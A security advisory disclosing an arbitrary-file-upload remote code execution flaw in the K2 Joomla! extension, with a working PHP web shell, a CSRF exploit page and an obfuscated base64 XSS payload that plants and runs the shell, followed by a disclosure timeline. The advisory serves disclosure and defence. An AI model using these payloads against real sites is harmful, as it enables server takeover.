Date

Information

Name:K2 Joomla! Extension 2.5.0 - 2.7.1
Software:K2
Platform:Joomla 3.6.2
Homepage:https://getk2.org/, http://extensions.joomla.org/extension/k2
Vulnerability:RCE, arbitrary file upload, missing CSRF protection
Prerequisites:victim has to be authenticated user with administrator role
Severity:high
CVE:NA

Product

K2 is a Joomla! extension for complete replacement of the default article system, which is used to edit the Joomla administration panel and the website.

Description

The administrator panel of K2 suffers from arbitrary file upload which leads to arbitrary PHP code execution. An attacker could trick an administrator to upload a malicious file (PHP shell) and execute arbitrary PHP code using it. This functionality is available by default to users with administrator role (admin, super user), therefore limiting the attack surface to authenticated administrator users. The file upload functionality isn't protected by CSRF token, which makes it possible to exploit it by constructing a malicious request, which on execution exploits the vulnerability, while the victim visits the attacker controlled site. In addition, the attacker can use a WCI vulnerability on the site to exploit the arbitrary file upload vulnerability. Successful exploitation could lead to full site compromise.

Proof of Concept

Following three scenarios describe various methods an attacker could use this vulnerability. Firstly, I'll show the how the attacker, with access to authenticated administrator account, could use this to execute PHP on the server. Second example uses the missing CSRF protection vulnerability to achieve the same goal remotely, without an direct access to administrator account. Last example will demonstrate a way the attacker could use a WCI vulnerability on the site to bypass the CSRF protection (if added in the future) and still execute code on the victim's server.

1) Scenario #1: attacker has access to Joomla administrator account

Let's presume the attacker has access to an account with file upload privilege. Files can be uploaded by using the K2 "Media manager" functionality.

URL: http://victim.site/administrator/index.php?option=com_k2&view=media

POST /administrator/index.php?option=com_k2&view=media&task=connector HTTP/1.1
Host: victim.site
Content-Length: 460
Origin: http://victim.site
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxyHoCnAa7sl8Av8n
Cookie: sessionid=3m5hjeiuclg0hpeqz07yy2vn39hwlndk; csrftoken=e326M8wbFD4Z5fiQ89UajJIz9L3QK0w71ox3FvPiEVefZ6iPEBP162DLTVcp73D1; 9d4bb4a09f511681369671a08beff228=4chd10bifo542nu9cmlicee567; 7d0782cfab13fd2c5bf432df1a61714f=dr59cn2pmetrrphhg4an3rgsl2; 9f18fe26c0ec633377140bd52b70b80d=edvlrnur4a6pnk8r77jujrdtr0; joomla_user_state=logged_in; joomla_remember_me_f7811899bb3aee4b5b1c3a1f45a0a1a4=GZFvw90iVyObqNeS.pPmGLqZavgPnnwRqz3QW
Connection: close

------WebKitFormBoundaryxyHoCnAa7sl8Av8n
Content-Disposition: form-data; name="cmd"

upload
------WebKitFormBoundaryxyHoCnAa7sl8Av8n
Content-Disposition: form-data; name="target"

l1_Lw
------WebKitFormBoundaryxyHoCnAa7sl8Av8n
Content-Disposition: form-data; name="upload[]"; filename="sh.php"
Content-Type: application/x-php

<pre><?php if(isset($_REQUEST['x'])){echo system($_REQUEST['x']);}?></pre>
------WebKitFormBoundaryxyHoCnAa7sl8Av8n--

Parameter target specifies the "root" directory for the "Media manager" and is the same across installations (same version; not tested with older ones). PHP and other files starting with a dot (e.g ".htacces") are hidden, but are accessible directly. File is uploaded in the "images" directory and can be directly accessed.

URL to execute PHP shell: http://victim.site/images/sh.php?x=ls%20-lah

2) Scenario #2: administrator visits malicious site

Attacker can force the authenticated administrator to upload files and execute them. The upload functionality isn't protected by CSRF token. Following PoC could be written to exploit RCE without user interaction, but isn't done so to better demonstrate the issue. In this case, the victim is authenticated to the vulnerable site as administrator and visits the attacker controlled web-page.

<html>
<body>
        <script>
                var target = 'http://victim.site';
                function submitRequest()
                {
                        var xhr = new XMLHttpRequest();
                        xhr.open("POST", target+"/administrator/index.php?option=com_k2&view=media&task=connector", true);
                        xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=----k2rce");
                        xhr.setRequestHeader("Accept", "*/*");
                        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.8,et;q=0.6");
                        xhr.withCredentials = true;
                        var body = "------k2rce\r\n" +
                        "Content-Disposition: form-data; name=\"cmd\"\r\n" +
                        "\r\n" +
                        "upload\r\n" +
                        "------k2rce\r\n" +
                        "Content-Disposition: form-data; name=\"target\"\r\n" +
                        "\r\n" +
                        "l1_Lw\r\n" +
                        "------k2rce\r\n" +
                        "Content-Disposition: form-data; name=\"upload[]\"; filename=\"sh.php\"\r\n" +
                        "Content-Type: application/x-php\r\n" +
                        "\r\n" +
                        "\x3cpre\x3e\x3c?php if(isset($_REQUEST[\'x\'])){echo system($_REQUEST[\'x\']);}?\x3e\x3c/pre\x3e\n" +
                        "\r\n" +
                        "------k2rce--\r\n";
                        var aBody = new Uint8Array(body.length);
                        for (var i = 0; i < aBody.length; i++) aBody[i] = body.charCodeAt(i);
                        xhr.send(new Blob([aBody]));
                }

                function exploit(cmd) {
                        location.href = target+"/images/sh.php?x="+encodeURIComponent(cmd)
                }
        </script>
        <form action="#">
                <input type="button" value="Upload shell" onclick="submitRequest()" />
                <input type="button" value="Run exploit" onclick="exploit('whoami; ls -lah;')" />
        </form>
</body>
</html>

PHP shell is uploaded by the victim's browser after executing the method submitRequest() and PHP code is executed with exploit() method call.

3) Scenario #3: attacker uses WCI to exploit the vulnerability

Third option is to use additional vulnerabilities on the site to get access to the file upload functionality. This can be achieved, for example, with a WCI on the victim's site. The following example uses this method to demonstrate it. This methods works even if the CSRF protection is implemented.

The following WCI works only in Firefox (tested on FF 48.0) and needs user-interaction. It isn't especially effective in real situations, but is good enough to demonstrate how a Web Content Injection (WCI, a.k.a XSS) can be used to execute PHP on the victims server. The WCI doesn't have to appear in the K2 code, but could be any WCI vulnerability on the page, including other Joomla plugins, core functionality etc. This means that a single WCI in the Joomla core or in any of the installed plugins together with K2 can be used to exploit RCE.

Details:

  • Victim navigates to the following URL:
    http://victim.site/administrator/index.php?option=com_k2&task=%22%20accesskey%3d%22x%22%20onclick%3d%22eval(atob(%27dmFyIGNzcmY9alF1ZXJ5KCJkaXYuYnRuLWdyb3VwOm50aC1jaGlsZCg3KSA%2BIGE6bnRoLWNoaWxkKDEpIilbMF0uaHJlZi5zcGxpdCgiJiIpWzJdOyBzZXRUaW1lb3V0KCgpPT57alF1ZXJ5LmdldCgiL2FkbWluaXN0cmF0b3IvaW5kZXgucGhwP29wdGlvbj1jb21fazImdmlldz1tZWRpYSZ0YXNrPWNvbm5lY3RvciZjbWQ9bWtmaWxlJm5hbWU9c2gudHh0JnRhcmdldD1sMV9MdyYiK2NzcmYpfSwgMCk7IHNldFRpbWVvdXQoKCk9PntqUXVlcnkuZ2V0KCIvYWRtaW5pc3RyYXRvci9pbmRleC5waHA%2Fb3B0aW9uPWNvbV9rMiZ2aWV3PW1lZGlhJnRhc2s9Y29ubmVjdG9yJmNtZD1wdXQmdGFyZ2V0PWwxX2MyZ3VkSGgwJmNvbnRlbnQ9JTNDcHJlJTNFJTNDJTNGJTNEc3lzdGVtKCUyNF9SRVFVRVNUJTVCXCJ4XCIlNUQpJTNGJTNFJTNDJTJGcHJlJTNFJTBBJiIrY3NyZil9LCAxMDAwKTsgc2V0VGltZW91dCgoKT0%2Be2pRdWVyeS5nZXQoIi9hZG1pbmlzdHJhdG9yL2luZGV4LnBocD9vcHRpb249Y29tX2syJnZpZXc9bWVkaWEmdGFzaz1jb25uZWN0b3ImY21kPXJlbmFtZSZ0YXJnZXQ9bDFfYzJndWRIaDAmbmFtZT1zaC5waHA1JiIrY3NyZil9LCAyMDAwKTsgc2V0VGltZW91dCgoKT0%2Be2xvY2F0aW9uPSIvaW1hZ2VzL3NoLnBocDU%2FeD1scyUyMC1sYWgifSwgMzAwMCk7%27))
    
  1. if the victim isn't authenticated as administrator, then he needs to login; else, he is redirected to the admin page (step 3.)
  2. victim needs to press alt+shift+X to execute the payload. (Firefox key binding for element access key)
  3. after 3 seconds, the PHP shell is executed by making the following request: http://victim.site/images/sh.php5?x=ls%20-lah

The URL parameter task is reflected on the response page:

<input type="hidden" name="task" value="" accesskey="x" onclick="eval(atob('dmFyIGNzcmY9alF1ZXJ5KCJkaXYuYnRuLWdyb3VwOm50aC1jaGlsZCg3KSA+IGE6bnRoLWNoaWxkKDEpIilbMF0uaHJlZi5zcGxpdCgiJiIpWzJdOyBzZXRUaW1lb3V0KCgpPT57alF1ZXJ5LmdldCgiL2FkbWluaXN0cmF0b3IvaW5kZXgucGhwP29wdGlvbj1jb21fazImdmlldz1tZWRpYSZ0YXNrPWNvbm5lY3RvciZjbWQ9bWtmaWxlJm5hbWU9c2gudHh0JnRhcmdldD1sMV9MdyYiK2NzcmYpfSwgMCk7IHNldFRpbWVvdXQoKCk9PntqUXVlcnkuZ2V0KCIvYWRtaW5pc3RyYXRvci9pbmRleC5waHA/b3B0aW9uPWNvbV9rMiZ2aWV3PW1lZGlhJnRhc2s9Y29ubmVjdG9yJmNtZD1wdXQmdGFyZ2V0PWwxX2MyZ3VkSGgwJmNvbnRlbnQ9JTNDcHJlJTNFJTNDJTNGJTNEc3lzdGVtKCUyNF9SRVFVRVNUJTVCXCJ4XCIlNUQpJTNGJTNFJTNDJTJGcHJlJTNFJTBBJiIrY3NyZil9LCAxMDAwKTsgc2V0VGltZW91dCgoKT0+e2pRdWVyeS5nZXQoIi9hZG1pbmlzdHJhdG9yL2luZGV4LnBocD9vcHRpb249Y29tX2syJnZpZXc9bWVkaWEmdGFzaz1jb25uZWN0b3ImY21kPXJlbmFtZSZ0YXJnZXQ9bDFfYzJndWRIaDAmbmFtZT1zaC5waHA1JiIrY3NyZil9LCAyMDAwKTsgc2V0VGltZW91dCgoKT0+e2xvY2F0aW9uPSIvaW1hZ2VzL3NoLnBocDU/eD1scyUyMC1sYWgifSwgMzAwMCk7'))"/>

When the victim uses the ALT+SHIFT+X access key combination, then the attacker's code is executed.

The payload is constructed as following:

" accesskey="x" onclick="eval(atob('<payload>'))

and where the payload is base64 encoded JavaScript code:

// get the CSRF token from the page
var csrf=jQuery("div.btn-group:nth-child(7) > a:nth-child(1)")[0].href.split("&")[2];

// create file named "sh.txt"
setTimeout(()=>{
        jQuery.get("/administrator/index.php?option=com_k2&view=media&task=connector&cmd=mkfile&name=sh.txt&target=l1_Lw&"+csrf)
}, 0);

// set file content to:
// <pre><?=system($_REQUEST[\"x\"])?></pre>
setTimeout(()=>{
        jQuery.get("/administrator/index.php?option=com_k2&view=media&task=connector&cmd=put&target=l1_c2gudHh0&content=%3Cpre%3E%3C%3F%3Dsystem(%24_REQUEST%5B\"x\"%5D)%3F%3E%3C%2Fpre%3E%0A&"+csrf)
}, 1000);

// rename file sh.txt -> sh.php5
setTimeout(()=>{
        jQuery.get("/administrator/index.php?option=com_k2&view=media&task=connector&cmd=rename&target=l1_c2gudHh0&name=sh.php5&"+csrf)
}, 2000);

// execute PHP code using the shell
setTimeout(()=>{location="/images/sh.php5?x=ls%20-lah"}, 3000);

Conclusion

Arbitrary file upload leads to PHP code execution on the server. Missing CSRF protection in file upload functionality enables the attacker to exploit it without having an authenticated account access on the victim's site. A WCI vulnerability on the victim's site could be escalated to PHP execution on the server.

Timeline

  • 06.08.2016 | me > developer | vulnerability discovered and initial contact
  • 08.08.2016 | me > developer | sent the report to the developers
  • 10.08.2016 | developer > me | issue acknowledged
  • 10.08.2016 | me > DWF       | CVE request - no response
  • 11.08.2016 | developer > me | inadequate fix: update elFinder plugin; responded with bypass
  • 12.08.2016 | developer > me | inadequate fix: changed elFinder plugin configuration
  • 15.08.2016 | me > developer | responded with bypass
  • 17.08.2016 | developer > me | inadequate fix: added CSRF protection
  • 17.08.2016 | me > developer | responded with PoC#2 which uses WCI to exploit RCE
  • 25.08.2016 | me > developer | asked for fix timeline
  • 26.08.2016 | developer > me | responded with time estimation
  • 27.08.2016 | me > developer | reminded that target site is exploitable when combined with WCI vulnerability
  • 20.09.2016 | me > developer | no patch available; contacted developer about the release status - no feedback
  • 11.10.2016 | me > developer | no patch available; contacted developer about the progress - no feedback
  • 19.11.2016 | me > public    | full disclosure
  • 17.12.2016 | DWF > me       | CVE assigned CVE-2016-1000256
  • 18.06.2020 | me > public    | CVE has not been recorded and not assigned